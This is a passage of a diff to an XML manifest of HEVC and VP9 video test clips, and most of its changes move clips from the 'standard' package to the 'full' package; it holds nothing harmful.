+    <value>mime=video/hevc,size=102915,width=960,height=720,frame-rate=50,profile=,level=,bitrate=1269872,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/resolution/crowd_960x960p50f32_1800kbps.mp4">
-    <value>mime=video/hevc,size=139859,width=960,height=960,frame-rate=50,profile=,level=,bitrate=1731768,package=standard</value>
+    <value>mime=video/hevc,size=139859,width=960,height=960,frame-rate=50,profile=,level=,bitrate=1731768,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/resolution/crowd_96x128p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=15368,width=96,height=128,frame-rate=50,profile=,level=,bitrate=175648,package=standard</value>
+    <value>mime=video/hevc,size=15368,width=96,height=128,frame-rate=50,profile=,level=,bitrate=175648,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/resolution/crowd_96x144p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=15304,width=96,height=144,frame-rate=50,profile=,level=,bitrate=174848,package=standard</value>
+    <value>mime=video/hevc,size=15304,width=96,height=144,frame-rate=50,profile=,level=,bitrate=174848,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/resolution/crowd_96x176p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=16005,width=96,height=176,frame-rate=50,profile=,level=,bitrate=183608,package=standard</value>
+    <value>mime=video/hevc,size=16005,width=96,height=176,frame-rate=50,profile=,level=,bitrate=183608,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/resolution/crowd_96x64p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=15146,width=96,height=64,frame-rate=50,profile=,level=,bitrate=174872,package=standard</value>
+    <value>mime=video/hevc,size=15146,width=96,height=64,frame-rate=50,profile=,level=,bitrate=174872,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/resolution/crowd_96x72p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=15174,width=96,height=72,frame-rate=50,profile=,level=,bitrate=173424,package=standard</value>
+    <value>mime=video/hevc,size=15174,width=96,height=72,frame-rate=50,profile=,level=,bitrate=173424,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/resolution/crowd_96x96p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=15651,width=96,height=96,frame-rate=50,profile=,level=,bitrate=179584,package=standard</value>
+    <value>mime=video/hevc,size=15651,width=96,height=96,frame-rate=50,profile=,level=,bitrate=179584,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/scaling_list/crowd_1280x720p50f32/crowd_1280x720p50f32_defslist.mp4">
-    <value>mime=video/hevc,size=321972,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4008072,package=standard</value>
+    <value>mime=video/hevc,size=321972,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4008072,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/scaling_list/crowd_1280x720p50f32/crowd_1280x720p50f32_noslist.mp4">
-    <value>mime=video/hevc,size=324623,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4041208,package=standard</value>
+    <value>mime=video/hevc,size=324623,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4041208,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/scaling_list/crowd_1280x720p50f32/crowd_1280x720p50f32_slist_flat_16.mp4">
-    <value>mime=video/hevc,size=324657,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4041208,package=standard</value>
+    <value>mime=video/hevc,size=324657,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4041208,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/scaling_list/crowd_1280x720p50f32/crowd_1280x720p50f32_slist_flat_1.mp4">
     <value>mime=video/hevc,size=1055777,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=13180160,package=full</value>
@@ -25509,13 +25509,13 @@
     <value>mime=video/hevc,size=425857,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=5296872,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/scaling_list/crowd_1280x720p50f32/crowd_1280x720p50f32_slist_rndm_120_136.mp4">
-    <value>mime=video/hevc,size=239944,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=2972336,package=standard</value>
+    <value>mime=video/hevc,size=239944,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=2972336,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/scaling_list/crowd_1280x720p50f32/crowd_1280x720p50f32_slist_rndm_1_255.mp4">
-    <value>mime=video/hevc,size=286092,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=3538008,package=standard</value>
+    <value>mime=video/hevc,size=286092,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=3538008,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/scaling_list/crowd_1280x720p50f32/crowd_1280x720p50f32_slist_rndm_240_255.mp4">
-    <value>mime=video/hevc,size=216373,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=2677912,package=standard</value>
+    <value>mime=video/hevc,size=216373,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=2677912,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/scaling_list/crowd_1280x720p50f32/crowd_1280x720p50f32_slist_vert_1_255.mp4">
     <value>mime=video/hevc,size=661642,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=8248984,package=full</value>
@@ -25560,58 +25560,58 @@
     <value>mime=video/hevc,size=953155,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=11887968,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/scaling_list/crowd_640x360p50f32/crowd_640x360p50f32_defslist.mp4">
-    <value>mime=video/hevc,size=75078,width=640,height=360,frame-rate=50,profile=,level=,bitrate=921912,package=standard</value>
+    <value>mime=video/hevc,size=75078,width=640,height=360,frame-rate=50,profile=,level=,bitrate=921912,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/scaling_list/crowd_640x360p50f32/crowd_640x360p50f32_noslist.mp4">
-    <value>mime=video/hevc,size=75557,width=640,height=360,frame-rate=50,profile=,level=,bitrate=927896,package=standard</value>
+    <value>mime=video/hevc,size=75557,width=640,height=360,frame-rate=50,profile=,level=,bitrate=927896,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/scaling_list/crowd_640x360p50f32/crowd_640x360p50f32_slist_flat_16.mp4">
-    <value>mime=video/hevc,size=75592,width=640,height=360,frame-rate=50,profile=,level=,bitrate=927896,package=standard</value>
+    <value>mime=video/hevc,size=75592,width=640,height=360,frame-rate=50,profile=,level=,bitrate=927896,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/scaling_list/crowd_640x360p50f32/crowd_640x360p50f32_slist_flat_1.mp4">
-    <value>mime=video/hevc,size=189000,width=640,height=360,frame-rate=50,profile=,level=,bitrate=2345448,package=standard</value>
+    <value>mime=video/hevc,size=189000,width=640,height=360,frame-rate=50,profile=,level=,bitrate=2345448,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/scaling_list/crowd_640x360p50f32/crowd_640x360p50f32_slist_rndm_1_16.mp4">
-    <value>mime=video/hevc,size=82945,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1010480,package=standard</value>
+    <value>mime=video/hevc,size=82945,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1010480,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/scaling_list/crowd_640x360p50f32/crowd_640x360p50f32_slist_rndm_120_136.mp4">
-    <value>mime=video/hevc,size=57766,width=640,height=360,frame-rate=50,profile=,level=,bitrate=695112,package=standard</value>
+    <value>mime=video/hevc,size=57766,width=640,height=360,frame-rate=50,profile=,level=,bitrate=695112,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/scaling_list/crowd_640x360p50f32/crowd_640x360p50f32_slist_rndm_1_255.mp4">
-    <value>mime=video/hevc,size=70944,width=640,height=360,frame-rate=50,profile=,level=,bitrate=848672,package=standard</value>
+    <value>mime=video/hevc,size=70944,width=640,height=360,frame-rate=50,profile=,level=,bitrate=848672,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/scaling_list/crowd_640x360p50f32/crowd_640x360p50f32_slist_rndm_240_255.mp4">
-    <value>mime=video/hevc,size=51333,width=640,height=360,frame-rate=50,profile=,level=,bitrate=614920,package=standard</value>
+    <value>mime=video/hevc,size=51333,width=640,height=360,frame-rate=50,profile=,level=,bitrate=614920,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/scaling_list/crowd_640x360p50f32/crowd_640x360p50f32_slist_vert_1_255.mp4">
-    <value>mime=video/hevc,size=122855,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1514160,package=standard</value>
+    <value>mime=video/hevc,size=122855,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1514160,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/scaling_list/crowd_854x480p50f32/crowd_854x480p50f32_defslist.mp4">
-    <value>mime=video/hevc,size=151701,width=854,height=480,frame-rate=50,profile=,level=,bitrate=1879672,package=standard</value>
+    <value>mime=video/hevc,size=151701,width=854,height=480,frame-rate=50,profile=,level=,bitrate=1879672,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/scaling_list/crowd_854x480p50f32/crowd_854x480p50f32_noslist.mp4">
-    <value>mime=video/hevc,size=153396,width=854,height=480,frame-rate=50,profile=,level=,bitrate=1900872,package=standard</value>
+    <value>mime=video/hevc,size=153396,width=854,height=480,frame-rate=50,profile=,level=,bitrate=1900872,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/scaling_list/crowd_854x480p50f32/crowd_854x480p50f32_slist_flat_16.mp4">
-    <value>mime=video/hevc,size=153431,width=854,height=480,frame-rate=50,profile=,level=,bitrate=1900872,package=standard</value>
+    <value>mime=video/hevc,size=153431,width=854,height=480,frame-rate=50,profile=,level=,bitrate=1900872,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/scaling_list/crowd_854x480p50f32/crowd_854x480p50f32_slist_flat_1.mp4">
     <value>mime=video/hevc,size=410512,width=854,height=480,frame-rate=50,profile=,level=,bitrate=5114344,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/scaling_list/crowd_854x480p50f32/crowd_854x480p50f32_slist_rndm_1_16.mp4">
-    <value>mime=video/hevc,size=179431,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2216536,package=standard</value>
+    <value>mime=video/hevc,size=179431,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2216536,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/scaling_list/crowd_854x480p50f32/crowd_854x480p50f32_slist_rndm_120_136.mp4">
-    <value>mime=video/hevc,size=114721,width=854,height=480,frame-rate=50,profile=,level=,bitrate=1407048,package=standard</value>
+    <value>mime=video/hevc,size=114721,width=854,height=480,frame-rate=50,profile=,level=,bitrate=1407048,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/scaling_list/crowd_854x480p50f32/crowd_854x480p50f32_slist_rndm_1_255.mp4">
-    <value>mime=video/hevc,size=140158,width=854,height=480,frame-rate=50,profile=,level=,bitrate=1713848,package=standard</value>
+    <value>mime=video/hevc,size=140158,width=854,height=480,frame-rate=50,profile=,level=,bitrate=1713848,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/scaling_list/crowd_854x480p50f32/crowd_854x480p50f32_slist_rndm_240_255.mp4">
-    <value>mime=video/hevc,size=100988,width=854,height=480,frame-rate=50,profile=,level=,bitrate=1235584,package=standard</value>
+    <value>mime=video/hevc,size=100988,width=854,height=480,frame-rate=50,profile=,level=,bitrate=1235584,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/scaling_list/crowd_854x480p50f32/crowd_854x480p50f32_slist_vert_1_255.mp4">
-    <value>mime=video/hevc,size=262020,width=854,height=480,frame-rate=50,profile=,level=,bitrate=3253720,package=standard</value>
+    <value>mime=video/hevc,size=262020,width=854,height=480,frame-rate=50,profile=,level=,bitrate=3253720,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/slices_tiles/crowd_3840x2160p50f32/crowd_3840x2160p50f32_1024byte_slices.mp4">
     <value>mime=video/hevc,size=1287932,width=3840,height=2160,frame-rate=25,profile=,level=,bitrate=8040968,package=full</value>
@@ -31569,115 +31569,115 @@
     <value>mime=video/x-vnd.on2.vp9,size=1825436,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_1x1.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=163943,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=163943,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=164097,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=164097,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=163390,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=163390,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_2x1.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=163553,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=163553,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_2x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=164097,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=164097,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_2x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=163390,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=163390,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_4x1.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=163349,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=163349,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_4x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=164097,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=164097,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_4x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=163390,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=163390,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_adaptQCom_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=159067,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=159067,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_adaptQVar_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=159726,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=159726,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_arnr_0f_0s_2t_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=164217,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=164217,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_arnr_0f_5s_1t_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=164400,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=164400,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_arnr_0f_5s_2t_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=164172,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=164172,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_arnr_15f_0s_2t_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=164002,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=164002,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_arnr_15f_5s_2t_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=164593,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=164593,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_arnr_5f_0s_2t_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=163965,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=163965,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_arnr_5f_5s_2t_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=164400,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=164400,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_arnr_5f_5s_3t_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=164400,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=164400,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_autAltRef_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=163390,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=163390,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_autAltRef_8lag_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=163956,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=163956,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_cbr_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=174258,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=174258,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_cq0_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=163390,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=163390,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_cq10_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=163390,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=163390,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_cq16_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=163390,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=163390,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_cq32_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=163390,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=163390,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_cq4_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=163390,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=163390,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_cq63_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=135592,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=135592,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_downScale_10_noKey_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=163390,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=163390,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_downScale_20_noKey_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=163390,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=163390,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_downScale_50_noKey_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=163390,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=163390,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_downScale_80_noKey_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=163390,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=163390,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_errRes_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=169733,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=169733,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_keyFrmOnly_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=757566,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=757566,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_lossless_1x4.webm">
     <value>mime=video/x-vnd.on2.vp9,size=41378348,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_noKeyFrm_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=163390,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=163390,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_nonErrRes_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=163390,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=163390,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_Qp0-10_1x4.webm">
     <value>mime=video/x-vnd.on2.vp9,size=6184095,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
@@ -31686,7 +31686,7 @@
     <value>mime=video/x-vnd.on2.vp9,size=41378348,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_Qp0-63_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=163390,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=163390,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_Qp10-20_1x4.webm">
     <value>mime=video/x-vnd.on2.vp9,size=2734282,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
@@ -31701,166 +31701,166 @@
     <value>mime=video/x-vnd.on2.vp9,size=1239013,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_Qp40-50_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=373289,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=373289,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_Qp50-63_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=159976,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=159976,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_Qp63_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=41233,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=41233,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_sharp0_1x4.webm">
